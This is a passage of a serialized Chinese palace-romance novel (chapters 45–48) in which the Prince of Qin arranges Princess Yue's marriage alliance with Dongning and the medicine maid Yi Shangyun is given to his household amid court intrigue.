西秦与东宁......俩人此时心里都希望着轩辕翰所担心的这件事情永远都不会发生,只是轩辕翰一人的多虑而已。然最后只见轩辕玥眼睛扑朔着向轩辕翰颔首确认。 “如此,本王知道了”轩辕翰看到她的回答,说完这句话便起身来。 然当他走到偏殿门口正准备要跨过门槛去的时候,忽然转身对她俩同时严肃地说道“你们俩今天对本王所求的事,本王都会办妥。但你们俩今日对本王的承诺,本王也绝对不允许你们违背半个字” 说完,他的身影便消失在俩人的视线里。 而此时,有一个人正在宫里做一件让每个人都为之大吃一惊的事情...... 第四十五章:秦王府,得个医女 当轩辕翰走至风华宫偏殿门口正准备要跨过门槛去的时候忽然顿住,眼睛微微往后斜去对身后的衣上云和轩辕玥俩人严肃地说“你们俩今天对本王所求的事,本王都会办妥。但你们俩今日对本王的承诺,本王也绝对不允许你们违背半个字” 说完,他的身影便渐渐消失在俩人的视线里。 而此时,有一个人正在宫里做一件让每个人都为之大吃一惊的事情...... 太后的永安宫内,散发着一阵阵淡淡的檀香味。皇后正亲自搀扶着刚礼佛完的太后走了出来在大殿里落座。 “母后,儿臣近日里思来想去,玥儿一向乖巧懂事。想必定是平日里跟那些奴才们厮混在一起被那个叫云儿的丫头教唆坏的,才会变得如此忤逆放肆...”皇后边走边怒道,将昨日发生在风华宫的事原原本本向太后详细禀着。 “这种不知天高地厚的奴才,处理了便是”太后听完严厉地说,任谁都想不到日日吃斋念佛菩萨心肠慈祥的太后,此时竟说出如此蛇蝎心肠歹毒的话来。 “儿臣只怕玥儿知道后与儿臣之间生了间隙,不过索性皇上已经有所定夺。这冰天雪地的,一天一夜十二个时辰跪下来定是必死无疑了”皇后亦是满脸肯定地说,太后认真地听着。 这时从大殿外进来一位公公前来禀告“太后娘娘,皇后娘娘,秦王妃到”。 “快传”太后顿时喜上眉梢对公公道。 梅汐媛一进门便微笑着恭敬行礼道“臣妾给母后请安,皇嫂万福”。 “秦王妃今日怎么来了,还不快过来给哀家瞧瞧,看这小脸小手冻得”太后甚是满意地笑着说着便伸出手去拉梅汐媛坐下,轻抚了抚她的一双纤纤玉手。 “是啊,今日天寒地冻的,秦王妃可要保重身子啊”皇后亦是陪笑着说。 “母后,皇嫂,其实臣妾早就应该前来宫里请安的。只因初至西秦不服水土,加之近来天气也都不怎么好,整日在王府的屋内闷着,身子便更是难见大好了,故就请安之事也耽搁了。还望母后和皇嫂见谅”。 梅汐媛这演戏的功夫也是不赖的,边说边掏出丝帕来轻轻掩起嘴唇轻咳了几声。 “秦王妃也真是有心了。既然如此,可有看过太医了?”太后的关切之意溢于言表。 “回母后,这秦王府的太医都是男子,诸多不便,故尚未曾就医”梅汐媛一边回答一边用帕子在唇边轻轻拭着。 “呦,这可不行啊,你和秦王刚刚大婚。秦王年纪轻,血气方刚的。你这身边要是没有个得力的太医,这万一哪天要是有了身子,这可该如何是好啊?”太后听了甚是忧心道。 听到太后的担忧,皇后立刻领会笑着开口道“母后,要不儿臣即刻从太医院挑几个资格老医术又好的医女赐给秦王妃,如何?”。 “皇后的法子极好,那就依照皇后所言赶快命人去办吧,一定要挑最拔尖儿伶俐的。今日正好秦王妃来宫中请安,赶快挑好了,等会一起随王妃回去秦王府好好侍候着”太后细心地叮嘱着皇后。 “谢母后和皇嫂关怀,其实秦王府目前女眷也就臣妾一人,也无需那么多人侍候,一人便可,而且......”。 “秦王妃有话不妨直说”皇后见其犹豫便道。 梅汐媛顿了顿又继续说“臣妾在大婚前一天恶疾突发,玥公主曾带了一名药女,医术颇高,人也不错,汐儿亦是觉得与她极为投缘,所以不知母后皇嫂可否将那名药女赐给汐儿?”。 “玥儿带的药女,莫非是...”皇后暗自喃喃琢磨着。 随后忙问“既然秦王妃已有中意的人选,可知那药女的名字,如若不知皇嫂派人去问玥儿,既已有合王妃心意的人,那最好不过了,省的选了不合适的回去侍候不周反而误了大事”。 “皇嫂,汐儿当日问过那药女的名字,她唤作...衣上云”梅汐媛看着皇后肯定道。 “果然是她”皇后听此心里嘀咕着,随即与太后对视了一眼,随即又似想要再次确认一番“秦王妃确定是衣上云吗?本宫倒是也见过那个奴才,好似并非王妃说的这般出类拔萃?”。 “皇嫂知道这个药女?那实在太好不过,也免去很多寻人的麻烦”梅汐媛刚说完,殿外又传来公公一声急促的通报声。 “皇上驾到,秦王殿下驾到” 璟帝:“儿臣给母后请安”。 轩辕翰:“儿臣给母后请安,皇嫂万福”。 “都快起来,今儿你们俩怎么一道过来了?”太后喜着疑问。 “臣妾给皇上请安”梅汐媛此时连忙起身给璟帝行礼。 璟帝:“秦王妃平身”。 一身明黄色龙袍的璟帝落座后这才回太后说“今日早朝结束后,得知秦王带了秦王妃入宫给母后请安,儿臣便邀其一道过来了” “秦王妃可已适应了我西秦大地的这方水土?”璟帝看到安安静静坐在一边的梅汐媛问道。 梅汐媛正要答话,太后却抢了先“你们来的正好,哀家正要找秦王呢?”。 “母后找儿臣,不知所为何事?”轩辕翰听到不解地问。 太后随即一脸责怪地说“本来今日你们小两口有心,能够一道来给哀家请安,哀家甚是高兴。可如今,哼......”随即太后看了一眼身旁的皇后。 皇后看着太后的眼神立马便心领神会似是打趣地说道“秦王再忙,也不能疏忽了王妃的身子啊。她可是要为轩辕皇族开枝散叶的,王府竟给她连个贴身的医女都没有。你们俩这新婚燕尔的,万一她要是有了身子怎么办?” 太后亦是急急唱和着“皇后说的没错,秦王真是太大意了,万一有个闪失,看你怎么对得起老祖宗”。 轩辕翰听闻二人所说,立刻抬起那双一贯冰冷的眼睛看向坐在一旁的梅汐媛。 梅汐媛急急解释“母后,皇嫂,都怪汐儿的身子不争气,不是殿下的错”。 “好了,都知道你们新婚燕尔,你就莫在维护他了”太后态度似乎有些缓和。 随即皇后转向璟帝道“皇上,臣妾和母后商量着本打算在太医院挑几个医术好又聪明伶俐的医女赐给秦王妃,谁知秦王妃竟已有中意的人选”。 “哦,秦王妃至西秦也不过数月,且很少入宫,竟识得宫中之人?”向来疑心重的璟帝又开始怀疑起是否为轩辕翰在宫中结党营私的羽翼了。 轩辕翰自是心知肚明璟帝这番话的涵义,然而他本就与梅汐媛界限清晰互不相干,这纸赐婚本就是璟帝一手安排,所以自己倒也一点都不心虚,任璟帝自己胡乱去猜测。 梅汐媛正打算开口,皇后先说道“皇上,秦王妃所中意的人选便是侍候玥儿的那个药女...衣上云”。 “是她”璟帝愕然,与此同时轩辕翰亦是心里感到有些吃惊和不解,但他已习惯了隐忍,只是轻轻抬起那张不怒自威的冰冷脸孔来看向梅汐媛,梅汐媛却对他微笑着。 皇后朝璟帝颔首接着说“秦王妃初至我西秦,大婚的前一天突发恶疾,当时玥儿在秦王府得知后带着衣上云去给王妃诊治。如此说,她们也算是有缘。况且......”。 皇后说着说着停顿了一下又接着说“况且玥儿年龄还小,任性不懂事,臣妾正打算给她换几个年长懂规矩的人去侍候,好好调教调教她”。 皇后这样说,自是想要将衣上云与轩辕玥分开,他们还是认定了轩辕玥如今的忤逆都是与衣上云脱不了干系的。 本来还真没想好如何处置这个废柴丑女,这会竟然梅汐媛亲自点名了要衣上云,那她倒也不介意将这烫手的山芋丢出去,省的到时候轩辕玥因此而恨她。 璟帝自是听明白了皇后这话中的含义,便道“既然秦王妃看上了那奴才,也是她的福气,秦王妃便带回去吧。只是那奴才犯了错正在受罚,这两天怕是不能侍候,眼看这年关将近,就等过了年,让她去秦王府侍候,如何?” “如此,臣妾谢陛下,谢太后,谢皇嫂赏赐”梅汐媛得偿所愿,连忙起身行礼致谢。 轩辕翰看着眼前这些人的所言所行,心里也自是猜到几分。不过,他倒也没反对。 他此刻心里想的是,或许衣上云在秦王府自己眼皮下比在皇宫的轩辕玥身边要安全的多。 梅汐媛起身后对着那高高在上的三位主子说“臣妾许久未见玥公主了,甚是想念,不知臣妾可否前去探望?再者,也请饶恕那个丫头吧,好吗?”。 “当然可以,玥儿整日在皇宫中传言说王妃母国的什么神蝶乃是天下之最,想必见到王妃肯定欢喜。再者,既然那丫头已赐给了秦王府,那以后便由秦王府多加管教了。来人,给秦王妃带路”皇后急急安排。 梅汐媛走后,大殿里终于没有了外人,轩辕翰这才开始说起他的正事。 “皇兄,母后,皇嫂。听闻要让玥儿与北烈国和亲,不知是否确有此事?”。 太后和皇后顿时变得脸色异常难看,璟帝则又开始猜疑“皇弟的消息可还真是灵通啊”。 这么多年,轩辕翰早已习惯了璟帝对他的冷嘲热讽,可为了西秦大局,他倒也不想与他多费唇舌。 此时他只自顾自地说了声“如果臣弟有更好的策略,不知皇兄可否收回成命?” 轩辕翰自是在走出风华宫时便对那俩可怜人所应之事,心里已经有了万全之策。 被誉为灵空大陆足智多谋、位高权重、冷面扼人且骁勇善战的战神西秦国秦王可不是徒有虚名而已。 听到他这句话,只见那三人一个个瞪大了眼睛急急翘首期盼着,希望轩辕翰口中的这个好策略能够帮助西秦国度过眼前这个大难关,否则这可就真的让他们“年关难过了啊”。 到底轩辕翰口中所说的更好的策略是什么呢? 第四十六章:惟恐,为他人作嫁衣裳 被誉为灵空大陆足智多谋、位高权重、冷面扼人且骁勇善战的战神西秦国秦王可不是徒有虚名而已。 听到他这句话,只见那三人一个个瞪大了眼睛急急翘首期盼着,希望轩辕翰口中的这个好策略能够帮助西秦国度过眼前这个大难关,否则这可就真的不止是让他们“年关难过了” 到底轩辕翰口中所说的更好的策略是什么呢? 自古以来,天子一言,千钧之重,重于九鼎,而轩辕翰今天能够当着这西秦国三位正主之面说出这样的话来,自是心里底气十足的。 虽说轩辕玥是这三位主子内心最为疼爱的皇子皇孙,但要是平日里,他自是不会屑于这等杂事。但如今却是因为方才对那二人的承诺,更因为那是衣上云不惜以自己性命想要成全和护着的人。 此时只见他完全不顾璟帝的言外之意究竟为何,只自顾自不紧不慢着说“如今灵空大陆四国,唯有东宁国与我西秦因战线太长恐后继无力故而未曾来犯。北烈虽频繁挑衅我西秦边疆,然所为无非也就是看中了我西秦国地大物广且国土与之接壤,是其欲要扩充其疆土的第一道障碍罢了。但北烈受其地域限制,供给一向不能自给自足,自古基本都是依靠与我西秦国的互市和对我国边境的掠夺为生。所以虽说北烈百万战马颇具实力,看似是我西秦最棘手的敌人,但实则我西秦如今需要休养生息,北烈比我们更需要修养补足。” 话说至此,三人都恍然大悟甚是觉得轩辕翰此番分析颇具道理。 听闻此言,璟帝自愧不如,只得苦笑了一声随即开口“那皇弟有何高见?”。 轩辕翰似是有所顾忌,然片刻后又继续道“臣弟认为,与其将玥儿嫁到苦寒极地的北烈国受苦,不如将她嫁给灵空大陆富甲一方的东宁国,尚可得以余生的幸福与安乐”。 轩辕翰顿了顿又继续说“而且,臣弟如今本就已与东宁公主联姻,如果玥儿再与东宁皇子联姻,世人便都会认为我西秦和东宁联手。那此后,试问还有谁敢轻易骚扰我西秦疆土?”。 听到这席话,就连一旁的太后和皇后都已经难以掩饰满腹的欣喜颔首对视着,甚是欢喜和满意。天下又有哪个做父母的不希望自己的孩子生活地幸福安乐,锦衣玉食呢? 然璟帝却皱着眉头说“皇弟所言确实不失为一个无可挑剔的上上之策,可是朕听闻那东宁国二皇子梅志豪妻妾成群,阴狠冷血,只怕玥儿嫁过去岂不委屈?” 这时,太后和皇后刚刚安放下去的心又立马悬了起来,面面相觑着,皇后甚是不忍心激动地先插了话“此法万万不可,玥儿尚且年幼,万不能给这样的人糟蹋了” 只见轩辕翰深吐一口浊气眼睛微动了一下,不惊不慌地说“皇嫂有所不知,臣弟所说的乃东宁国三皇子,名唤梅志煊。臣弟大婚之时便是此人担任的东宁送亲大使,当时与臣弟有过一面之缘。据臣弟所识,三皇子乃一风度翩翩、温润如玉、沉稳内敛之少年豪杰,一表人才,最重要的是...三皇子至今尚未婚娶”。 此刻,璟帝终于一展愁容,他怎么一时忘记了东宁国还有个三皇子,虽说不及二皇子有皇后生母坐镇撑腰,不过轩辕翰这个分析倒也不失为一个更好的上上之策,反正东宁国迟早也会是他的囊中之物。 顿时笑逐颜开的他竟猛拍了一把旁边的桌案高声呼道“如此甚好,朕即刻便派使臣前往东宁国商议此事,皇弟有勇有谋真不愧是我西秦皇族的骄傲”。 “皇兄谬赞,臣弟也只是不想委屈了玥儿罢了”轩辕翰冷冷地说,心里却甚是忧心着。即便他心里担心的事也是未来的事,可到底会怎样一切都还不可而知,但他终究还是担心着。 他一向如此,深谋远虑...... 终究他还是做了这件连他自己也不知道这样做是对是错的事。只因衣上云先不惜以自己的性命为轩辕玥与璟帝周旋争取,后又以自己的一切来交换乞求他帮助轩辕玥得偿所愿。 此时,他只希望他担心的那一天永远不会到来。想着想着,他竟皱起了眉头,不知不觉间拳头也紧紧握了起来。 太后和皇后早就眉目舒展,握手言欢着一脸的激动不已。 半天,皇后言道“这真是太好了,这下皇儿终于有救了,虽然还是要嫁去他国,却总比那地处极北苦寒、一片荒凉的北烈国要好千倍万倍啊” 走出永安宫的宫门,轩辕翰便要打算回府去了,这会儿正在跟璟帝告辞,却听到他说“皇兄,多谢” “皇弟此言,这是何意?”璟帝露着一脸狐疑地问,明明这次献策立功的是轩辕翰,却为何轩辕翰要谢他。 轩辕翰却一对剑眉上翘着,微微抿嘴浅笑一声,便告退离去。 璟帝看着轩辕翰离去的背影,又看了看旁边跟着的大公公亦是同样惊讶着,俩人都怔在原地半天也思而不得其解。 轩辕翰虽是浅浅一笑,却甚是难得见这誉满灵空大陆的万年冰山秦王一展笑颜。 随后,璟帝脸上又露出一脸疑云,意味深长地对身旁的大公公说道“看来,朕做了一件大错特错的事”。 大公公忙问“陛下何出此言?”。 璟帝又一次看向轩辕翰离去的的方向,微微顿了一下,吐了一口浊气紧接着道“或许朕当初不应该把这东宁国公主赐婚给秦王。之所以当初不给他赐婚内臣之女,就是怕他在西秦内结党营私,威胁朕的皇权。而如今,看他心思越发缜密,行事也愈加老练。如果万一日后他与东宁联手,那朕岂不是到头来都是为他人作嫁衣裳吗?”。 大公公听闻顿时惶恐道“陛下,秦王乃西秦皇族宗室之人,且多年来一向忠勇,他不会。况且,如今不是有玥公主亦要联姻东宁了吗?”。 璟帝冷笑一声,哼道“哼,不会......朕看他这些年怕是早有准备。至于玥儿,唉...” 大公公诚惶诚恐,不敢再语,一会儿过后俩人便缓缓踱步离去。 风华宫里,轩辕玥正大惊着不敢相信自己的耳朵,正对着去永安宫偷听回来报告的小宫女大声道“什么?你再给本公主说一遍”。 “没错,公主,奴婢听得很清楚。秦王殿下献策皇上将你嫁给东宁国三皇子梅志煊,皇上欣然答应了,而且即刻就派使臣前往东宁国商谈此事”。 小宫女亦是一脸兴奋上气不接下气地重复禀告了一遍。 轩辕玥终于听的清清楚楚,明明白白。一激动,竟然后退了两步用一只纤纤玉手掩起鼻翼当着大殿里所有奴才的面像个孩子一样激动的哭了起来。接着便急急朝着偏殿还只能卧榻休息的衣上云奔了过去。 “云儿,你听到了吗,你听到了吗?”轩辕玥几近手舞足蹈欣喜万分激动地对榻上尚且虚弱着的衣上云说着。 衣上云一脸憔悴却仍然为她高兴着,于是拼命地一边点头一边回答她说“奴婢听到了,听到了,恭喜公主终于得偿所愿” “云儿,本公主就知道秦皇叔一定能做到,这天下就没有秦皇叔办不到的事,处理不了的难题。秦皇叔真的就是神一样的人,可比父皇强多了”轩辕玥情急之下竟口无遮拦地说出这样在宫里大忌的话来。 衣上云听闻顿时蹙眉急急提醒道“公主请慎言,小心隔墙有耳”。 “怕什么,这是本公主的宫殿,谁敢胡说,本公主重重罚他”轩辕玥却不以为然仍旧一副天不怕地不怕的傲慢公主性子道。 果然,白天不能说人,晚上不能说鬼,这隔墙外确实有耳。 此时,秦王妃梅汐媛正从永安宫请安完折回来刚至风华宫,已经跨上了寝殿的门槛便听到了里面轩辕玥极其喜悦的声音。 “这是说什么悄悄话呢,还不许人听?”一进门梅汐媛便打趣道。 “皇婶,你怎么又折回来了”轩辕玥立马改色惊道。 “怎么,不欢迎皇婶吗?” “皇婶别误会,玥儿不是这个意思”轩辕玥急急解释。衣上云亦是想要起身,却被梅汐媛伸手过去拦了下来。 “你身子不适,就好好躺着吧,省的又让殿下惦记”梅汐媛此言一出,让衣上云不知如何应对,只能悄悄低下头来。 半天后她才说道“奴婢真是罪过,让主子们都费心了”。 轩辕玥听了,却急急开口说“云儿,你说的这是什么话,你这可都是为了本公主才变成这样的,所以这辈子本公主都会照顾你的,你就放心吧”。 梅汐媛听了,却微笑着对轩辕玥开口道“这辈子?......恐怕公主不能照顾她一辈子了”。 “皇婶此言何意?”轩辕玥顿时疑问,衣上云亦是一脸不解地看向梅汐媛。 只见梅汐媛清了清嗓子,接着有些严肃地说“公主有所不知,就在方才皇上已经将衣上云赐给秦王府了。以后她便要至秦王府做本王妃的贴身医女侍候左右了。换句话话说,也就是过了这个年以后她便要长居秦王府全权负责照顾本王妃的身子” “什么,皇婶此话当真?父皇果真已经答应了?”轩辕玥似是不相信梅汐媛所说。 “千真万确”梅汐媛一字一顿清清楚楚地肯定道。 “不行,本公主不答应,本公主这就去找父皇母后,云儿哪儿都不能去,本公主不能没有云儿”轩辕玥说着竟然气冲冲地疾步往外要走。 梅汐媛一把急急拉住她的胳膊道“公主去了也无济于事,当时皇上、太后、皇后、还有...秦王殿下都在场,所以自是都认可同意了的” 轩辕玥怎么都没想到会是这样的结果,只是此刻蹙眉怔在原地里眼睁睁看着床榻上不得动弹的衣上云不知该怎么办才好? 似乎她已完全忘记了就在刚才,所有人都还沉浸在为她高兴的大好消息里面。 这时,梅汐媛看着她忽然放低了声音说“公主,本王妃知道你与云儿主仆情深,但是公主很快就会奉旨与他国皇室联姻,难不成公主也要带着云儿远走异国他乡吗?”。 轩辕玥心中怨恨着不想和她说话,便毫不客气地对她道...... 第四十七章:幸运,平行时空里遇你 梅汐媛看着轩辕玥放低声音道“公主,本王妃知道你与云儿主仆情深,但是公主很快就会奉旨与他国皇子联姻,难不成公主也要云儿陪嫁到异国他乡吗?”。 轩辕玥心中怨恨着不想和她说话,便毫不客气地对她道“为何不可?难道皇婶不同意?” “玥公主冰雪聪明,自然知晓女人三从四德中的三从。所谓未嫁从父、出嫁从夫、夫死从子。婚姻嫁娶一向是遵从父母之命媒妁之言,皇室和亲亦是如此。一个连自己未来的幸福都不得而知的人,公主又如何能许诺给云儿幸福呢?倘若日后和亲的对象是公主所属意之人,那便是公主独在异乡往后余生里一世的幸运;然而,和亲对象倘若不是公主所属意之人,那异国他乡便会成为公主一生被囚禁的金丝牢笼...” 梅汐媛说着忽然停了下来,或许是想到了自己现在的处境吧,有些触景生情。顿了一下吸了口气看了一眼衣上云,衣上云正看着轩辕玥此时似是有些动摇的眼神,那眼神是如此无助、不舍而又悲伤。 过了会儿梅汐媛眼睛看着衣上云对轩辕玥继续道“而她就不一样了,听说她在西秦国里还有父母兄弟姐妹在,所谓血浓于水,她又岂能完全撇下骨肉亲情追随公主而去。再说了,如果公主和亲的对象是前者,那么公主得偿所愿郎情妾意幸福一生,而她却要独自在异国他乡孤独地终老一生;又如果公主和亲的对象是后者,那么结果就是公主的身旁多了一个同命相怜的人而已。试问公主既然这么想照顾她周全,又岂能忍心如此对她呢?”。 听着梅汐媛这些忠告,轩辕玥顿时心里一种五味杂陈的感觉涌上心头,她还真未曾像梅汐媛这样透彻地替衣上云考虑打算过。 “公主,奴婢......”衣上云看到轩辕玥陷入了对梅汐媛这番话的沉思中,便急急想开口劝解,却被轩辕玥伸出手拦住。 这时,梅汐媛又开了口“然她跟随本王妃栖身于秦王府就不一样了,毕竟我们三人都年龄相仿,只是各自有着不同的身份和命运罢了。怎么也算相识一场,本王妃自是不会亏待了她。且王府总不比皇宫尔虞我诈,处处暗藏危机。所以,对我们所有人来说,秦王府才是她最好的归宿,不是吗?” 此话一出,一室寂静,再也没有人说话,整个大殿里只充满了这三个女人各自满满无尽的忧思一片...... 所谓“三个女人一台戏”,而任谁也想不到,这三个女人的这台好戏才刚刚上演...... 皇宫的回廊里,副将程良紧紧跟在主子轩辕翰的身后。 查看了周围还算是安全,已远离了璟帝的耳目,程良有些气恼的道“殿下为何要力谏陛下让玥公主与东宁和亲呢?我西秦的实力并不见输于东宁,这要真打起来,未必会输”。 轩辕翰听了,对他冷哼厉声道“哼,犯我西秦者,虽远必诛”。 程良更是不解,便问:“那殿下还为何?...” 半天后,轩辕翰才似是一脸无奈地道“是玥儿那丫头,她自己属意于东宁三皇子,非他不嫁。竟累及那丑丫头为其不惜以身犯险,险些送了性命”。 原来又是因为那个小药女,程良心里嘀咕着。 走着走着程良又抿着嘴翻动了一下那双漆黑的双眸,左思右想了一路,也不明所以,所幸再次开口问“殿下,属下还有一事不明,请殿下指教?”。 “你是不是想问刚才本王对皇兄的那句...谢谢”轩辕翰早已觉察到程良一路的疑问表情,此时他终于开口来问了,便先问了他。 程良摸了摸自己的脑门儿,答道“正是,殿下看出来了。刚才明明是殿下出的上上之策,解了他们的燃眉之急,可为何殿下还要向他道谢呢?”。 只见轩辕翰轻叹了口气,放慢了脚步道“本王的这个谢谢...与东宁公主同义”。 程良听了,立马呆在原地一怔“东宁公主?殿下不是向来不屑与她...,不对,王妃今日进宫显然是为了衣上云而来,难道殿下是因为她...” 程良终于反应了过来,一抬眼竟发现已被轩辕翰落下了一大截,随即便速速奔跑过去跟上“殿下真的喜欢那个小药女?”。 程良很确定轩辕翰听到了他所问的,可是轩辕翰依旧惜字如金,不多言语,只顾独自走着。 程良见主子此刻心情不错,索性直接将暗藏心底很久的话一起倒了出来“反正殿下如今也已经大婚了,堂堂一个王爷,纳个侧妃也不是什么为过的事情,殿下何不......”。 “住嘴”程良话还没说完,轩辕翰便打住了他。 然轩辕翰接下来的话更加让程良万分意外与惊讶“就算本王要收了她,又怎么可能让她做侧妃?” 说完这句,轩辕翰停下脚步用那深不见底的眼眸望着远处口中喃喃“本王只是不想增加她的负担”。 “殿下所说的负担是不是那个叫魏明轩的人?”程良接着轩辕翰的话问,轩辕翰斜了他一眼便又收了回去,继续往前走。 程良不再说话,心里也在思索,什么时候有机会一定当面好好质问那个丑丫头魏明轩到底是何方神圣,为何总是让她如此魂牵梦绕,让他的主子进退两难,而主子竟对一个丑丫头如此尊重。 “殿下,出宫的路在这边”程良突然发现向来方向感最强的轩辕翰此时拐入的回廊并不是往日里出宫回府的那条。 轩辕翰没有理他,他只得急急上前跟随着。 看清了去路后,程良终于喃喃道“原来又是要去风华宫看那丫头”。他轻轻晃了晃脑袋,原来主子对这小药女竟如此日益在乎了。 不过,现在的主子看着才更像是一个正常的男子,有着这个年龄正常人的喜、怒、哀、乐。所以,程良为此也很高兴。 “秦王殿下驾到”风华宫里忽然传来门外公公的通报声。紧接着所到之处,奴才们纷纷恭恭敬敬的下跪拜见。 宫殿里沉默了许久,个个一脸忧思的三个女人亦是纷纷急急起身来相迎。 “臣妾参见殿下”梅汐媛规规矩矩地微笑着行礼道,轩辕翰今日出乎意外地从她身边走过的时候特意抬眼看了她,不再像以前那样无视她。 而就这一眼,梅汐媛都瞬间感觉心里无比温暖,她也自知是因为衣上云的关系,但她依旧欣喜着,就连她的眼睛此时都变得温柔了许多。 衣上云正要行礼,轩辕玥却急急上前拉住了轩辕翰的胳膊任性地一边摇晃着一边哭问“秦皇叔,你们为何要将云儿带走,为何要将云儿与玥儿分开,玥儿不想云儿走,玥儿想云儿永远陪在玥儿身边”。 衣上云蹙眉听着看着轩辕玥此时就像个孩子一样的乞求着他,她的一举一动,都让衣上云感到胸口闷极了,就像快要不能喘过气来,竟不由自主地伸起一只手来紧紧攥住胸口的衣裳,眼眶里眼泪直打转。 轩辕翰看了看衣上云,又看着轩辕玥,最终将轩辕玥的手缓缓拿开来安慰她说道“玥儿,你已经长大了。既然长大了,你就要明白,在这个世上,是没有谁会一直陪着你的,总有一天,你会成为孤独的一个人”。 轩辕玥听了轩辕翰这番话后终于最后确定了梅汐媛方才所说的一切全部都是真的,衣上云这次是真的要离开自己,进秦王府的大门了。 于是她泪眼婆娑地对轩辕翰道“秦皇叔,玥儿明白了。但请皇叔答应玥儿,日后云儿到了秦王府,皇叔一定要好好照顾云儿。她爹娘不待见她,天生长相不好,又被人欺负退了婚,她真的很可怜,但她人真的很好,是这个世界上玥儿见过的最善良最正直的女子”。 “公主...”衣上云哽咽道,她在一旁听了轩辕玥这番话,眼泪再也忍不住从眼眶里一涌而出,她自是也很舍不得与轩辕玥分开。 虽然她本也打算如果轩辕玥需要,她亦可一生追随其左右。但听了轩辕翰的这句话,她却忽然意识到或许轩辕翰说的才是对的:人总归要学着自己长大。 她自己本就是不属于这个时代的人,不知道自己怎么来的?自然也不知道会怎样回去?何时回去?如此分开,也算是所谓的长痛不如短痛吧。 只看到衣上云整理好纷乱的情绪后对轩辕玥信誓旦旦地说道“公主放心,往后余生,云儿可以自己照顾好自己。无论公主以后身在何处,只要需要云儿,就算天涯海角云儿也万死不辞,云儿的心上永远系着玥公主”。 说着说着她竟伸起右手的食指,中指,无名指将其并拢一字一顿地发誓道“衣上云在此发誓...此生...我...衣上云...绝不负玥公主...天涯海角...云心永系玥...有违此誓者,必受天诛地灭”。 轩辕翰眼睁睁看着眼前这两个瘦小的女子,深深的被她们的友谊震撼着。他第一次发现原来女子之间的感情也会如此真挚深重令人敬佩。 她们俩都很幸运,因为大千世界,平行时空里她们能够有缘相遇相知。 而一旁的梅汐媛则心里悄悄窃喜着,一双极致温柔的眼睛深情地看着旁边的轩辕翰...... 第四十八章:薄唇的10岁少年 轩辕翰耗费了他极为宝贵的大半天时间,终于平息了风华宫的这场轩然大波。 此时刚从风华宫出来,走在出宫回府的回廊里,眼前却不断浮现着衣上云方才在风华宫里三指并拢信誓旦旦起誓的场面。 “衣上云在此发誓...此生...我...衣上云...绝不负玥公主,有违此誓者,必受天诛地灭” 想着想着,他微微低着的双眼轻轻闪烁了两下,随之两边嘴角上露出一抹好看的弧度来。 “殿下,臣妾今日给秦王府挑的医女,殿下可还满意?”梅汐媛见轩辕翰此时似乎心情不错,才敢走近他的身旁出声来问。 谁知轩辕翰听到她的声音,却突然停住了脚步微微侧过身子朝向了梅汐媛,第一次紧紧盯着她的眼睛。 然而却露出了极为严厉的目光对她说道“本王再警告你一次,也是第二次警告你,本王不希望这个警告会有第三次。所以,你最好这次给本王记好了。以后任何有关秦王府的事,本王绝对不允许你肆意妄为,擅自做主,本王希望你好自为之” 说完,轩辕翰便立刻转身快步走开去,一出宫门便与副将程良一同跃上马背策马回府。 梅汐媛杵在原地,硬是愣住半天都没反应过来:明明刚才轩辕翰还心情颇佳的一脸笑容;明明刚才在风华宫里,他还对她今日格外的另眼相看;明明自己就是把轩辕翰中意的女子帮她收入秦王府...... 可是,为什么?为什么他一转眼却会如此对她。她所做的一切明明都是按照他的心意来的呀,这到底是为什么?为什么自己所做的一切,所说的一切,在他的眼里就都成了肆意妄为,擅自做主了呢?还被教训让她好自为之。 她可是东宁国极其骄傲与尊贵的公主,如今却被他一次又一次地蔑视和训斥,梅汐媛想着想着,整个人杵在那里居然气的直哆嗦竟发起抖来。 如果不是因为她此时身在皇宫里,还指不出会做出什么泄恨的举止来,估计这会儿她连杀人的心都有的,她愤怒极了。 “轩辕翰,你给本公主等着,总有一日,本公主要你后悔莫及......”梅汐媛愤恨的喃喃自语道。 这时,赵嬷嬷上前来一脸不解地问“王妃娘娘,这么好的机会,为何不让那个西秦公主带着那个丑丫头走呢?” 梅汐媛听了看着轩辕翰离去的方向,意味深长地冷哼道“哼,你以为我们的秦王殿下会这么轻易放她走吗......” “殿下,王妃娘娘不是帮殿下把衣上云从宫里讨到秦王府了吗?殿下为何还...?”程良不解地问道。 “哼,只怕梅汐媛可没那么好心。这个女人城府极深,以后让你手下的人都加强王府的防卫。本王猜的没错的话,东宁国在这场和亲里面肯定有阴谋,如此富甲一方的强国,怎么会无缘无故将一个真正的公主下嫁到我西秦呢?”向来深思熟虑的轩辕翰仔细分析交待着程良。 程良却嬉笑着说“这有什么不可能的,我西秦也不差啊。再说了,世人有谁不知西秦秦王英勇神武。殿下的威名可是名扬四海,誉满灵空的呀...”。 程良一说起主子轩辕翰的神勇来就滔滔不绝,可正当他还想继续说下去的时候却被轩辕翰投过来一个寒气逼人的眼神,他见了立马将嘴紧紧闭了起来。随后便恭恭敬敬地作揖领命“属下领命” 至此,轩辕翰方才收回了那双寒光四射的双眸来。然立刻又忧心起来,梅汐媛到底为什么要衣上云进秦王府做她的医女,他可不相信梅汐媛真的有那么大的度量和气魄帮他将一个女子讨入府来,即使他的私心里也真的很期望衣上云能够留在自己的身边。 程良正想退出大殿去,轩辕翰忽然开口下令“立刻差人去整个灵空寻找名医和术士,能医好衣药女腿疾的,本王重重有赏。本王可不希望秦王府到时候有个瘸腿的医女” 程良听了抬眼一怔心想,关心就关心呗,干嘛还找个如此冠冕堂皇的理由,把话说的那么难听。 但刚被教训过的他,此时可绝对不想再被训斥一顿,便回答“是,属下这就去办”,然后一脸无奈地退下。 ...... 时光飞逝,转眼已是腊月里,几近年关了。伴随着即将到来的除夕,天气也是愈发地寒冷。 自从上次冬夜里被雪地罚跪后,尽管在轩辕翰背地里的安排和庇护下,衣上云修养的也算是极好。然遇到这寒冷潮湿的天气,她的腿疾依旧还是会复发。 这会儿她正在坐榻上独自揉捏着酸痛难忍的一双膝盖,忽然听到外面一阵喧哗声,便缓缓起身来想出去探个究竟。 “快快快,动作都麻利点” “你,照着这个方子赶快去配药” “还有你,赶快清洗准备好专用的药锅,药配回来马上煎好送去东华宫” ...... 衣上云一出门便看到丁香急急忙忙地安排着。 她的腿脚时有不变,丁香这些日子下来倒也能帮她处理很多的事了,进步也很快,估摸着等衣上云出了宫去了秦王府,这大药女的差事十有八九应该交给她了。衣上云为此也倍感欣慰,这样她也能走的安心许多。 